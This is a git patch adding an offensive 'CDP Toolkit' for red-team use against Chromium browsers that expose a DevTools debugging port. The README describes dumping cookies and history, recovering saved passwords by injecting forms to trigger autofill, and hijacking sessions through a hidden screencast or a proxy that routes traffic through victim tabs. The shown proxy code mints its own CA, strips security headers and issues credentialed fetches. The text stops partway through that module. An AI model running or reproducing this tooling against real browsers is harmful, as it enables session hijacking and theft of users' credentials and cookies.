From 649de5434e8eca8ac714b63043f4218634c67ab4 Mon Sep 17 00:00:00 2001 From: KingOfTheNOPs Date: Sat, 9 May 2026 12:15:46 -0400 Subject: [PATCH] intial commit --- .gitignore | 4 + README.md | 249 ++++++- cdptoolkit/__init__.py | 4 + cdptoolkit/cdp_proxy.py | 1255 ++++++++++++++++++++++++++++++++++ cdptoolkit/cli.py | 723 ++++++++++++++++++++ cdptoolkit/client.py | 158 +++++ cdptoolkit/config.py | 6 + cdptoolkit/discovery.py | 75 ++ cdptoolkit/log.py | 33 + cdptoolkit/redact.py | 53 ++ cdptoolkit/remote_browser.py | 857 +++++++++++++++++++++++ cdptoolkit/transport.py | 180 +++++ cdptoolkit/webui.py | 797 +++++++++++++++++++++ pyproject.toml | 26 + 14 files changed, 4418 insertions(+), 2 deletions(-) create mode 100644 cdptoolkit/__init__.py create mode 100644 cdptoolkit/cdp_proxy.py create mode 100644 cdptoolkit/cli.py create mode 100644 cdptoolkit/client.py create mode 100644 cdptoolkit/config.py create mode 100644 cdptoolkit/discovery.py create mode 100644 cdptoolkit/log.py create mode 100644 cdptoolkit/redact.py create mode 100644 cdptoolkit/remote_browser.py create mode 100644 cdptoolkit/transport.py create mode 100644 cdptoolkit/webui.py create mode 100644 pyproject.toml diff --git a/.gitignore b/.gitignore index 83972fa..3f2925e 100644 --- a/.gitignore +++ b/.gitignore @@ -216,3 +216,7 @@ __marimo__/ # Streamlit .streamlit/secrets.toml + +# CDP Toolkit runtime artifacts +runs/ +certs/ diff --git a/README.md b/README.md index 8109399..099823d 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,247 @@ -# CDP-Toolkit -Pentest tool to interact with chromium browser when CDP is enabled +# CDP Toolkit + +`cdptk` is a Python command-line tool for working with chromium browsers through the Chrome DevTools Protocol (CDP). It is built for penetration testing and red team workflows where you have access to a running browser's CDP endpoint and want to inspect browser state, collect artifacts, or browse through the user's browser context. + +## Install + +From the `CDP-Toolkit` folder: + +```powershell +pip install -e . +cdptk --help +``` + +## Quick Start + +```powershell +cdptk discover --cdp-endpoint http://127.0.0.1:9222 +cdptk tabs list --cdp-endpoint http://127.0.0.1:9222 +cdptk tabs screenshot 1 --cdp-endpoint http://127.0.0.1:9222 --out tab-1.png +cdptk cookies dump --cdp-endpoint http://127.0.0.1:9222 --out cookies.json +cdptk bookmarks list --cdp-endpoint http://127.0.0.1:9222 --out bookmarks.json +cdptk history search azure --cdp-endpoint http://127.0.0.1:9222 --limit 50 +cdptk saved-passwords list --cdp-endpoint http://127.0.0.1:9222 +cdptk extensions list --cdp-endpoint http://127.0.0.1:9222 +``` + +## Features + +### `discover` + +Shows basic information about the browser behind the CDP endpoint. It queries `/json/version` and `/json/list`, then reports the browser product, protocol version, user agent, WebSocket debugger URL, and visible HTTP targets. + +Use it first to confirm that the endpoint is reachable and that you are talking to the expected browser. + +```powershell +cdptk discover --cdp-endpoint http://127.0.0.1:9222 +``` + +### `tabs list` + +Lists open browser page targets as stable, 1-based tab indexes for the current command invocation. Each row includes a short target ID prefix, title, URL, and browser context when available. + +Use this before tab-scoped actions such as screenshots. The indexes are generated from the current CDP target list, so rerun `tabs list` if tabs are opened or closed. + +```powershell +cdptk tabs list --cdp-endpoint http://127.0.0.1:9222 +``` + +### `tabs screenshot` + +Captures a screenshot of a specific tab. The tab can be selected by the index from `tabs list`, a target ID prefix, or unique text from the tab title or URL. + +This attaches to the tab through CDP and uses `Page.captureScreenshot`. With `--full`, it attempts a full-page capture instead of only the current viewport. + +```powershell +cdptk tabs screenshot 1 --cdp-endpoint http://127.0.0.1:9222 --out tab-1.png +cdptk tabs screenshot portal.azure.com --cdp-endpoint http://127.0.0.1:9222 --full --out portal.png +``` + +### `cookies dump` + +Dumps browser cookies through CDP using `Storage.getCookies`. It can filter by domain, redact values for safer review, and write JSON to disk. + +This command asks the browser for cookies; it does not read cookie database files from the profile. + +```powershell +cdptk cookies dump --cdp-endpoint http://127.0.0.1:9222 --out cookies.json +cdptk cookies dump --cdp-endpoint http://127.0.0.1:9222 --domain microsoftonline.com +``` + +### `bookmarks list` + +Collects bookmarks or favorites through browser-rendered WebUI. The command opens the browser's bookmarks/favorites UI through CDP, prefers the browser's WebUI bookmark model when available, and falls back to rendered DOM extraction when needed. + +It returns flattened bookmark rows by default, including title, URL, folder path, IDs, and timestamps when available. Use `--tree` for the raw browser bookmark tree. + +```powershell +cdptk bookmarks list --cdp-endpoint http://127.0.0.1:9222 --out bookmarks.json +cdptk bookmarks list azure --cdp-endpoint http://127.0.0.1:9222 --domain microsoft.com +``` + +### `history search` + +Searches browser history through the rendered `chrome://history` or `edge://history` WebUI. The command opens a temporary history target, inspects the WebUI model or rendered page, scrolls/loads entries as needed, and closes the temporary target after collection. + +Use this to answer questions like "what sites has this browser visited" without touching the profile's `History` SQLite file. + +```powershell +cdptk history search azure --cdp-endpoint http://127.0.0.1:9222 --limit 50 +cdptk history search --cdp-endpoint http://127.0.0.1:9222 --domain login.microsoftonline.com +``` + +### `saved-passwords list` + +Lists saved-password site metadata through the browser's password manager WebUI. It returns site groups, usernames, entry IDs, affiliated domains, passkey indicators, and storage hints when the browser exposes them. + +This command inventories saved-password metadata. It does not decrypt passwords directly and does not read the `Login Data` database. + +```powershell +cdptk saved-passwords list --cdp-endpoint http://127.0.0.1:9222 --out saved-password-sites.json +``` + +### `saved-passwords dump` + +Attempts an autofill-backed password recovery workflow against a real origin. The command creates a target, navigates to the origin, uses either an injected controlled login form or provided selectors, triggers browser autofill with user-like input, and reads the resulting field values through CDP. + +This depends on browser state. Autofill behavior can vary based on visibility, user gesture requirements, password manager settings, enterprise policy, origin matching, and whether the browser is willing to fill the form. + +```powershell +cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --mode visible --out autofill.json +cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --username-selector "#user" --password-selector "#pass" +``` + +### `extensions list` + +Inventories installed extensions through `chrome://extensions` or `edge://extensions` WebUI. It opens a temporary WebUI target, extracts extension rows from the browser's rendered extension manager, and closes the target. + +The output can include names, extension IDs, enabled state, descriptions, views/options pages, and related metadata depending on what the WebUI exposes. + +```powershell +cdptk extensions list --cdp-endpoint http://127.0.0.1:9222 --out extensions.json +``` + +### `page new` + +Creates a new browser target through CDP. It can open a visible tab, background tab, hidden target, or an isolated browser context. + +Use `--hold` for hidden targets or temporary contexts that should stay alive after creation. Without `--hold`, hidden targets can disappear when the CDP session closes. + +```powershell +cdptk page new https://example.com --cdp-endpoint http://127.0.0.1:9222 --mode visible +cdptk page new https://example.com --cdp-endpoint http://127.0.0.1:9222 --mode hidden --hold +``` + +### `page snapshot` + +Captures a structured page snapshot from an existing target. `--kind ax` captures an accessibility tree with `Accessibility.getFullAXTree`; `--kind dom` captures a DOM snapshot with `DOMSnapshot.captureSnapshot`. + +Use accessibility snapshots for quick semantic inspection and DOM snapshots for lower-level page structure. + +```powershell +cdptk page snapshot --cdp-endpoint http://127.0.0.1:9222 --kind ax --out page.ax.json +cdptk page snapshot --cdp-endpoint http://127.0.0.1:9222 --kind dom --out page.dom.json +``` + +### `page close` + +Closes a target by full target ID or unique prefix. This is the cleanup command for targets you created with `page new`, `browser-takeover screencast`, or manual CDP work. + +```powershell +cdptk page close --cdp-endpoint http://127.0.0.1:9222 +``` + +### `contexts list` + +Lists non-default browser contexts. These are isolated contexts created through CDP, often for proxied browsing or contained sessions. + +The default browser context is not listed because Chrome/Edge does not expose it as a normal disposable context. + +```powershell +cdptk contexts list --cdp-endpoint http://127.0.0.1:9222 +``` + +### `contexts dispose` + +Disposes a non-default browser context and closes its targets. Use this to clean up isolated/proxied contexts created with `page new --mode isolated` or `browser-takeover screencast --browser-socks`. + +```powershell +cdptk contexts dispose --cdp-endpoint http://127.0.0.1:9222 +``` + +### `browser-takeover screencast` + +Starts a local operator web console that controls a CDP browser target through screencast frames and input events. The target browser renders the page; the operator sees a streamed view and sends clicks, keyboard input, paste, navigation, reload, back/forward, and close actions through CDP. + +This is the highest-fidelity interactive browsing mode because Chrome/Edge remains the real browser running the site. It keeps browser-held cookies, storage, enterprise auth state, WebAuthn behavior, extensions, and browser-specific JavaScript behavior inside the browser that already owns that state. This is especially helpful when targeting complex web apps that do not play well with browser-takeover proxy. + +> [!WARNING] +> `browser-takeover screencast` creates a real Chrome/Edge target on the CDP host. Depending on the selected mode and current browser/window state, the new tab, window, or web page may be visible to the user. + +```powershell +cdptk browser-takeover screencast ` + --cdp-endpoint http://127.0.0.1:9222 ` + --listen 127.0.0.1:8093 ` + --start-url https://portal.azure.com ` + --mode offscreen +``` + +Then browse locally to: + +```text +http://127.0.0.1:8093 +``` + +Modes: + +| Mode | What it does | +| --- | --- | +| `offscreen` | Creates a dedicated window and moves it off-screen before screencasting it. | +| `foreground` | Creates a visible window, useful for troubleshooting. | +| `background` | Creates a background tab in the current browser window. | + +### `browser-takeover proxy` + +Starts a local HTTP/HTTPS proxy on the operator machine. The operator points a local browser or HTTP client at this proxy, and upstream requests are fetched through hidden victim-Chrome tabs using CDP. + +For HTTPS, the toolkit generates a local CA and per-host leaf certificates. Import `runs/proxy/certs/ca.crt` into the operator browser if you want HTTPS sites to render without certificate errors. + +```powershell +cdptk browser-takeover proxy ` + --cdp-endpoint http://127.0.0.1:9222 ` + --listen 127.0.0.1:8080 ` + --cert-dir runs/proxy/certs ` + -v +``` + +Configure the operator browser proxy: + +```text +HTTP proxy: 127.0.0.1:8080 +HTTPS proxy: 127.0.0.1:8080 +``` + +What the proxy does: + +- Accepts plaintext HTTP proxy requests and HTTPS `CONNECT`. +- Uses victim Chrome to perform upstream document requests. +- Preserves victim Chrome cookies and user agent where CDP exposes them. +- Strips blocking CSP/CORS/framing headers to improve operator-side renderability. +- Uses `Network.loadNetworkResource` for GET/HEAD subresources such as fonts, scripts, styles, images, and download-prone extensions so those bytes stream back to the operator instead of causing victim-side downloads. +- Denies hidden-tab browser downloads by default with `--deny-downloads`. +- Retries top-level GET/HEAD attachment navigations that abort with `net::ERR_ABORTED` using a same-origin `Runtime.evaluate(fetch(..., credentials: "include"))` fallback so the operator browser can receive the file. + +Proxy mode is useful for targeted request/response workflows and for browsing from the victim browser's network position. It is less faithful than screencast mode for complex portals because the operator browser renders and executes JavaScript locally while victim Chrome performs upstream fetches. + +## Cleanup + +Use `page close` for individual targets and `contexts dispose` for isolated browser contexts. Temporary WebUI targets created by collectors are intended to close automatically. + +```powershell +cdptk page close --cdp-endpoint http://127.0.0.1:9222 +cdptk contexts dispose --cdp-endpoint http://127.0.0.1:9222 +``` + +## Reference + +Tool is built on the information presented during [Modern Session Hijacking by Living off the DevTools Protocol by Cedric Van Bockhaven](https://specterops.io/so-con/) diff --git a/cdptoolkit/__init__.py b/cdptoolkit/__init__.py new file mode 100644 index 0000000..2e9c247 --- /dev/null +++ b/cdptoolkit/__init__.py @@ -0,0 +1,4 @@ +"""CDP Toolkit.""" + +__version__ = "0.1.0" + diff --git a/cdptoolkit/cdp_proxy.py b/cdptoolkit/cdp_proxy.py new file mode 100644 index 0000000..e05bb12 --- /dev/null +++ b/cdptoolkit/cdp_proxy.py @@ -0,0 +1,1255 @@ +from __future__ import annotations + +import asyncio +import base64 +import contextlib +import datetime +import ipaddress +import json +import ssl +import time +from dataclasses import dataclass +from http import HTTPStatus +from pathlib import Path +from typing import Any +from urllib.parse import urlsplit, urlunsplit + +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID + +from .client import CDPClient, TargetSession +from .log import info, warn +from .transport import CDPError + + +HOP_BY_HOP_HEADERS = { + "connection", + "keep-alive", + "proxy-authenticate", + "proxy-authorization", + "proxy-connection", + "te", + "trailer", + "transfer-encoding", + "upgrade", +} + +REQUEST_HEADER_DENYLIST = HOP_BY_HOP_HEADERS | { + "content-length", + "cookie", + "host", + "proxy-connection", + "user-agent", + "accept-encoding", +} + +RESPONSE_HEADER_STRIP = HOP_BY_HOP_HEADERS | { + "content-encoding", + "content-length", + "content-security-policy", + "content-security-policy-report-only", + "cross-origin-embedder-policy", + "cross-origin-opener-policy", + "cross-origin-resource-policy", + "x-frame-options", +} + +REDIRECT_STATUS_CODES = {301, 302, 303, 307, 308} +NO_BODY_STATUS_CODES = {204, 205, 304} +UTC = datetime.timezone.utc +FETCH_REQUEST_PATTERNS = {"patterns": [{"urlPattern": "*", "requestStage": "Request"}]} +SUBRESOURCE_FETCH_DESTS = { + "audio", + "audioworklet", + "embed", + "empty", + "font", + "image", + "manifest", + "object", + "paintworklet", + "report", + "script", + "serviceworker", + "sharedworker", + "style", + "track", + "video", + "worker", + "xslt", +} +DOCUMENT_FETCH_DESTS = {"document", "frame", "iframe"} +SUBRESOURCE_EXTENSIONS = { + ".avif", + ".bmp", + ".css", + ".gif", + ".ico", + ".jpeg", + ".jpg", + ".js", + ".json", + ".map", + ".mjs", + ".mp3", + ".mp4", + ".otf", + ".png", + ".svg", + ".ttf", + ".wasm", + ".webm", + ".webp", + ".woff", + ".woff2", +} +DOWNLOAD_PRONE_EXTENSIONS = { + ".7z", + ".bat", + ".bin", + ".bz2", + ".cmd", + ".crx", + ".deb", + ".dll", + ".dmg", + ".exe", + ".gz", + ".iso", + ".msi", + ".pdf", + ".pkg", + ".ps1", + ".rar", + ".rpm", + ".tar", + ".vbs", + ".xz", + ".zip", +} +DOCUMENT_HTML_EXPRESSION = r"""(() => { + const doctype = document.doctype + ? `` + : ""; + return `${doctype}\n${document.documentElement ? document.documentElement.outerHTML : ""}`; +})()""" + + +@dataclass(slots=True) +class HttpRequest: + method: str + target: str + version: str + headers: list[tuple[str, str]] + body: bytes + + def header(self, name: str, default: str | None = None) -> str | None: + name_l = name.lower() + for header_name, value in reversed(self.headers): + if header_name.lower() == name_l: + return value + return default + + def should_keep_alive(self) -> bool: + connection = (self.header("Connection", "") or "").lower() + if self.version == "HTTP/1.0": + return connection == "keep-alive" + return connection != "close" + + +@dataclass(slots=True) +class ProxiedResponse: + status_code: int + reason: str + headers: list[tuple[str, str]] + body: bytes + + +@dataclass(slots=True) +class BrowseAsVictimProxyOptions: + cdp_endpoint: str + listen_host: str + listen_port: int + socks: str | None = None + cert_dir: Path = Path("runs/proxy/certs") + pool_size: int = 3 + fetch_timeout: float = 20.0 + hidden: bool = True + subresource_loader: bool = True + deny_downloads: bool = True + + +def _default_port(scheme: str) -> int: + return 443 if scheme == "https" else 80 + + +def _split_authority(authority: str, fallback_port: int) -> tuple[str, int]: + probe = urlsplit(f"//{authority}") + host = probe.hostname + port = probe.port + if not host: + raise ValueError(f"invalid authority: {authority!r}") + return host, port or fallback_port + + +def _absolute_url( + request: HttpRequest, + default_scheme: str, + connect_host: str | None, + connect_port: int | None, +) -> str: + if request.target.startswith("http://") or request.target.startswith("https://"): + return request.target + + authority = request.header("Host") or connect_host + if not authority: + raise ValueError("request has no Host header and no CONNECT host") + + if connect_host and not request.header("Host"): + host = connect_host + port = connect_port or _default_port(default_scheme) + else: + host, port = _split_authority(authority, _default_port(default_scheme)) + + port_suffix = "" if port == _default_port(default_scheme) else f":{port}" + return f"{default_scheme}://{host}{port_suffix}{request.target}" + + +def _normalize_url_for_match(url: str) -> str: + parsed = urlsplit(url) + path = parsed.path or "/" + return urlunsplit((parsed.scheme.lower(), parsed.netloc.lower(), path, parsed.query, "")) + + +def _matches_navigation_url(event_url: str, target_url: str) -> bool: + event_normalized = _normalize_url_for_match(event_url) + target_normalized = _normalize_url_for_match(target_url) + if event_normalized == target_normalized: + return True + + event = urlsplit(event_normalized) + target = urlsplit(target_normalized) + return ( + target.scheme == "http" + and event.scheme == "https" + and event.netloc == target.netloc + and (event.path or "/") == (target.path or "/") + and event.query == target.query + ) + + +def _path_extension(url: str) -> str: + path = urlsplit(url).path.lower() + name = path.rsplit("/", 1)[-1] + if "." not in name: + return "" + return "." + name.rsplit(".", 1)[-1] + + +def _origin_url(url: str) -> str: + parsed = urlsplit(url) + return urlunsplit((parsed.scheme, parsed.netloc, "/", "", "")) + + +def _runtime_fetch_expression(payload: dict[str, Any]) -> str: + payload_json = json.dumps(payload, separators=(",", ":")) + return f"""(async () => {{ + const req = {payload_json}; + try {{ + const headers = new Headers(req.headers || {{}}); + const init = {{ + method: req.method, + headers, + credentials: "include", + cache: "no-store", + redirect: "follow" + }}; + if (req.body && req.method !== "GET" && req.method !== "HEAD") {{ + const binary = atob(req.body); + const bytes = new Uint8Array(binary.length); + for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i); + init.body = bytes; + }} + const response = await fetch(req.url, init); + const buffer = await response.arrayBuffer(); + const bytes = new Uint8Array(buffer); + let binary = ""; + const chunkSize = 0x8000; + for (let offset = 0; offset < bytes.length; offset += chunkSize) {{ + binary += String.fromCharCode(...bytes.subarray(offset, offset + chunkSize)); + }} + return {{ + ok: true, + status: response.status, + statusText: response.statusText, + url: response.url, + headers: Array.from(response.headers.entries()), + body: btoa(binary) + }}; + }} catch (error) {{ + return {{ + ok: false, + error: String(error && (error.stack || error.message) || error) + }}; + }} +}})()""" + + +def _resource_extra_headers(operator_headers: list[tuple[str, str]]) -> dict[str, str]: + headers: dict[str, str] = {} + for name, value in operator_headers: + name_l = name.lower() + if name_l in REQUEST_HEADER_DENYLIST or name_l.startswith(":"): + continue + headers[name] = value + return headers + + +def _should_use_subresource_loader(request: HttpRequest, absolute_url: str) -> bool: + if request.method not in {"GET", "HEAD"} or request.body: + return False + + extension = _path_extension(absolute_url) + if extension in DOWNLOAD_PRONE_EXTENSIONS: + return True + + fetch_dest = (request.header("Sec-Fetch-Dest", "") or "").lower() + if fetch_dest in DOCUMENT_FETCH_DESTS: + return False + if fetch_dest in SUBRESOURCE_FETCH_DESTS: + return True + + accept = (request.header("Accept", "") or "").lower() + if "text/html" in accept or "application/xhtml+xml" in accept: + return False + + if extension in SUBRESOURCE_EXTENSIONS: + return True + + return False + + +def _reason_phrase(status_code: int) -> str: + try: + return HTTPStatus(status_code).phrase + except ValueError: + return "OK" if 200 <= status_code < 300 else "" + + +def _drop_header(headers: dict[str, str], name: str) -> None: + name_l = name.lower() + for key in list(headers.keys()): + if key.lower() == name_l: + headers.pop(key, None) + + +def _dict_to_entries(headers: dict[str, str]) -> list[dict[str, str]]: + return [{"name": str(name), "value": str(value)} for name, value in headers.items()] + + +def _tuple_to_entries(headers: list[tuple[str, str]]) -> list[dict[str, str]]: + return [{"name": str(name), "value": str(value)} for name, value in headers] + + +def _merge_request_headers( + operator_headers: list[tuple[str, str]], + intercepted_headers: dict[str, Any], +) -> dict[str, str]: + merged = {str(name): str(value) for name, value in intercepted_headers.items()} + for name, value in operator_headers: + name_l = name.lower() + if name_l in REQUEST_HEADER_DENYLIST or name_l.startswith(":"): + continue + _drop_header(merged, name) + merged[name] = value + _drop_header(merged, "Content-Length") + _drop_header(merged, "Accept-Encoding") + merged["Accept-Encoding"] = "identity" + return merged + + +def _normalize_response_headers(headers: list[dict[str, Any]]) -> list[tuple[str, str]]: + normalized: list[tuple[str, str]] = [] + for entry in headers: + name = str(entry.get("name") or "") + value = str(entry.get("value") or "") + if not name: + continue + if name.lower() in RESPONSE_HEADER_STRIP: + continue + normalized.append((name, value)) + return normalized + + +def _normalize_response_header_map(headers: dict[str, Any]) -> list[tuple[str, str]]: + normalized: list[tuple[str, str]] = [] + for name, value in headers.items(): + name_s = str(name) + if not name_s or name_s.lower() in RESPONSE_HEADER_STRIP: + continue + normalized.append((name_s, str(value))) + return normalized + + +def _body_from_cdp(result: dict[str, Any]) -> bytes: + body = result.get("body", "") + if result.get("base64Encoded"): + return base64.b64decode(body) + return str(body).encode("utf-8") + + +def _resource_content_from_cdp(result: dict[str, Any]) -> bytes: + content = result.get("content", "") + if result.get("base64Encoded"): + return base64.b64decode(content) + return str(content).encode("utf-8") + + +def _format_exception(exc: BaseException) -> str: + message = str(exc) or repr(exc) + return f"{type(exc).__name__}: {message}" + + +def _is_expected_client_disconnect(exc: BaseException) -> bool: + if isinstance(exc, (asyncio.IncompleteReadError, BrokenPipeError, ConnectionResetError, ssl.SSLError)): + return True + message = str(exc).lower() + return ( + "ssl connection is closed" in message + or "connection lost" in message + or "connection reset" in message + ) + + +class CertAuthority: + def __init__(self, cert_dir: Path) -> None: + self.cert_dir = cert_dir + self.issued_dir = cert_dir / "issued" + self.ca_key_path = cert_dir / "ca.key" + self.ca_cert_path = cert_dir / "ca.crt" + self._ca_key: rsa.RSAPrivateKey | None = None + self._ca_cert: x509.Certificate | None = None + self._contexts: dict[str, ssl.SSLContext] = {} + + def ensure_ca(self) -> None: + self.cert_dir.mkdir(parents=True, exist_ok=True) + self.issued_dir.mkdir(parents=True, exist_ok=True) + if self.ca_key_path.exists() and self.ca_cert_path.exists(): + self._ca_key = serialization.load_pem_private_key(self.ca_key_path.read_bytes(), password=None) + self._ca_cert = x509.load_pem_x509_certificate(self.ca_cert_path.read_bytes()) + info("loaded proxy CA from {}", self.cert_dir) + return + + info("generating proxy CA in {}", self.cert_dir) + key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + name = x509.Name( + [ + x509.NameAttribute(NameOID.COUNTRY_NAME, "US"), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, "CDP Toolkit"), + x509.NameAttribute(NameOID.COMMON_NAME, "CDP Toolkit Proxy Root CA"), + ] + ) + now = datetime.datetime.now(UTC) + cert = ( + x509.CertificateBuilder() + .subject_name(name) + .issuer_name(name) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(now - datetime.timedelta(days=1)) + .not_valid_after(now + datetime.timedelta(days=3650)) + .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True) + .add_extension( + x509.KeyUsage( + digital_signature=True, + key_cert_sign=True, + crl_sign=True, + content_commitment=False, + key_encipherment=False, + data_encipherment=False, + key_agreement=False, + encipher_only=False, + decipher_only=False, + ), + critical=True, + ) + .sign(key, hashes.SHA256()) + ) + self.ca_key_path.write_bytes( + key.private_bytes( + serialization.Encoding.PEM, + serialization.PrivateFormat.TraditionalOpenSSL, + serialization.NoEncryption(), + ) + ) + self.ca_cert_path.write_bytes(cert.public_bytes(serialization.Encoding.PEM)) + self._ca_key = key + self._ca_cert = cert + + def ssl_context_for_host(self, hostname: str) -> ssl.SSLContext: + if hostname in self._contexts: + return self._contexts[hostname] + cert_path, key_path = self._issue_leaf(hostname) + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(certfile=str(cert_path), keyfile=str(key_path)) + self._contexts[hostname] = context + return context + + def _issue_leaf(self, hostname: str) -> tuple[Path, Path]: + if self._ca_key is None or self._ca_cert is None: + raise RuntimeError("CA is not loaded") + safe_host = "".join(ch if ch.isalnum() or ch in ".-_" else "_" for ch in hostname) + cert_path = self.issued_dir / f"{safe_host}.pem" + key_path = self.issued_dir / f"{safe_host}.key.pem" + if cert_path.exists() and key_path.exists(): + return cert_path, key_path + + leaf_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + subject = x509.Name( + [ + x509.NameAttribute(NameOID.ORGANIZATION_NAME, "CDP Toolkit"), + x509.NameAttribute(NameOID.COMMON_NAME, hostname), + ] + ) + try: + san: x509.GeneralName = x509.IPAddress(ipaddress.ip_address(hostname)) + except ValueError: + san = x509.DNSName(hostname) + + now = datetime.datetime.now(UTC) + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(self._ca_cert.subject) + .public_key(leaf_key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(now - datetime.timedelta(days=1)) + .not_valid_after(now + datetime.timedelta(days=30)) + .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True) + .add_extension(x509.SubjectAlternativeName([san]), critical=False) + .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), critical=False) + .sign(self._ca_key, hashes.SHA256()) + ) + key_path.write_bytes( + leaf_key.private_bytes( + serialization.Encoding.PEM, + serialization.PrivateFormat.TraditionalOpenSSL, + serialization.NoEncryption(), + ) + ) + cert_path.write_bytes(cert.public_bytes(serialization.Encoding.PEM)) + info("issued proxy leaf certificate for {}", hostname) + return cert_path, key_path + + +class HiddenTab: + def __init__( + self, + cdp: CDPClient, + name: str, + fetch_timeout: float, + hidden: bool, + subresource_loader: bool, + deny_downloads: bool, + ) -> None: + self.cdp = cdp + self.name = name + self.fetch_timeout = fetch_timeout + self.hidden = hidden + self.subresource_loader = subresource_loader + self.deny_downloads = deny_downloads + self.target_id: str | None = None + self.session: TargetSession | None = None + self.events: asyncio.Queue | None = None + self.lock = asyncio.Lock() + + async def start(self) -> None: + params: dict[str, Any] = {"url": "about:blank", "background": True} + if self.hidden: + params["hidden"] = True + try: + result = await self.cdp.send("Target.createTarget", params) + except CDPError as exc: + if not self.hidden: + raise + warn("hidden target failed for {}: {}; falling back to background target", self.name, exc) + result = await self.cdp.send("Target.createTarget", {"url": "about:blank", "background": True}) + + self.target_id = result["targetId"] + self.session = await self.cdp.attach(self.target_id) + self.events = self.cdp.connection.subscribe_events(session_id=self.session.session_id, maxsize=5000) + await self.session.send("Page.enable") + if self.deny_downloads: + try: + await self.session.send("Page.setDownloadBehavior", {"behavior": "deny"}) + info("proxy tab {} download behavior set to deny", self.name) + except Exception as exc: + warn("proxy tab {} could not set download deny behavior: {}", self.name, _format_exception(exc)) + await self.session.send("Network.enable") + with contextlib.suppress(Exception): + await self.session.send("Network.setBypassServiceWorker", {"bypass": True}) + with contextlib.suppress(Exception): + await self.session.send("Network.setCacheDisabled", {"cacheDisabled": True}) + await self._enable_fetch() + info("proxy tab {} ready target={}", self.name, self.target_id) + + async def close(self) -> None: + if self.events is not None: + self.cdp.connection.unsubscribe_events(self.events) + self.events = None + if self.session is not None: + with contextlib.suppress(Exception): + await self.cdp.detach(self.session) + self.session = None + if self.target_id: + with contextlib.suppress(Exception): + await self.cdp.close_target(self.target_id) + self.target_id = None + + async def fetch(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse: + async with self.lock: + if self.session is None or self.events is None: + raise RuntimeError(f"proxy tab {self.name} is not ready") + self._drain_events() + info("proxy {} -> {} {}", self.name, request.method, absolute_url) + + if self.subresource_loader and _should_use_subresource_loader(request, absolute_url): + try: + return await self._load_subresource(request, absolute_url) + except CDPError as exc: + if "wasn't found" not in str(exc) and "not found" not in str(exc).lower(): + raise + warn("Network.loadNetworkResource unavailable; falling back to navigation fetch") + + await self.cdp.send_no_wait("Page.navigate", {"url": absolute_url}, session_id=self.session.session_id) + + request_pause = await self._wait_for_request_pause(absolute_url) + request_params = request_pause["params"] + request_id = request_params["requestId"] + network_id = request_params.get("networkId") + upstream_url = request_params.get("request", {}).get("url") or absolute_url + if _normalize_url_for_match(upstream_url) != _normalize_url_for_match(absolute_url): + info("proxy {} upstream navigation {} -> {}", self.name, absolute_url, upstream_url) + intercepted_headers = request_params["request"].get("headers", {}) + merged_headers = _merge_request_headers(request.headers, intercepted_headers) + + continue_params: dict[str, Any] = { + "requestId": request_id, + "method": request.method, + "headers": _dict_to_entries(merged_headers), + } + if urlsplit(upstream_url).scheme == "https": + continue_params["interceptResponse"] = True + else: + info("proxy {} using Network response fallback for plaintext HTTP", self.name) + if request.body: + continue_params["postData"] = base64.b64encode(request.body).decode("ascii") + await self.session.send("Fetch.continueRequest", continue_params) + + try: + response_pause = await self._wait_for_response_pause(request_id, network_id) + except RuntimeError as exc: + if request.method in {"GET", "HEAD"} and "ERR_ABORTED" in str(exc): + warn( + "navigation fetch aborted for {}; trying Runtime.fetch fallback", + absolute_url, + ) + return await self._runtime_fetch(request, absolute_url) + raise + if isinstance(response_pause, ProxiedResponse): + info( + "proxy {} <- {} {} bytes={} via Network fallback", + self.name, + response_pause.status_code, + response_pause.reason, + len(response_pause.body), + ) + return response_pause + + params = response_pause["params"] + status_code = int(params.get("responseStatusCode") or 502) + reason = str(params.get("responseStatusText") or _reason_phrase(status_code)) + headers = _normalize_response_headers(params.get("responseHeaders", [])) + + body = b"" + if ( + request.method != "HEAD" + and status_code not in REDIRECT_STATUS_CODES + and status_code not in NO_BODY_STATUS_CODES + ): + try: + body_result = await self.session.send("Fetch.getResponseBody", {"requestId": request_id}) + body = _body_from_cdp(body_result) + except Exception as exc: + warn("Fetch.getResponseBody failed for {}: {}", absolute_url, _format_exception(exc)) + + fulfill_params: dict[str, Any] = { + "requestId": request_id, + "responseCode": status_code, + "responseHeaders": _tuple_to_entries(headers), + } + if reason: + fulfill_params["responsePhrase"] = reason + if body: + fulfill_params["body"] = base64.b64encode(body).decode("ascii") + with contextlib.suppress(Exception): + await self.session.send("Fetch.fulfillRequest", fulfill_params) + + info("proxy {} <- {} {} bytes={}", self.name, status_code, reason, len(body)) + return ProxiedResponse(status_code=status_code, reason=reason, headers=headers, body=body) + + async def _load_subresource(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse: + assert self.session is not None + info("proxy {} using Network.loadNetworkResource for {}", self.name, absolute_url) + frame_tree = await self.session.send("Page.getFrameTree") + frame_id = frame_tree.get("frameTree", {}).get("frame", {}).get("id") + if not frame_id: + raise RuntimeError("CDP did not return a frame id for Network.loadNetworkResource") + + extra_headers = _resource_extra_headers(request.headers) + if extra_headers: + await self.session.send("Network.setExtraHTTPHeaders", {"headers": extra_headers}) + try: + result = await self._session_send( + "Network.loadNetworkResource", + { + "frameId": frame_id, + "url": absolute_url, + "options": {"disableCache": True, "includeCredentials": True}, + }, + timeout=self.fetch_timeout, + ) + finally: + if extra_headers: + with contextlib.suppress(Exception): + await self.session.send("Network.setExtraHTTPHeaders", {"headers": {}}) + 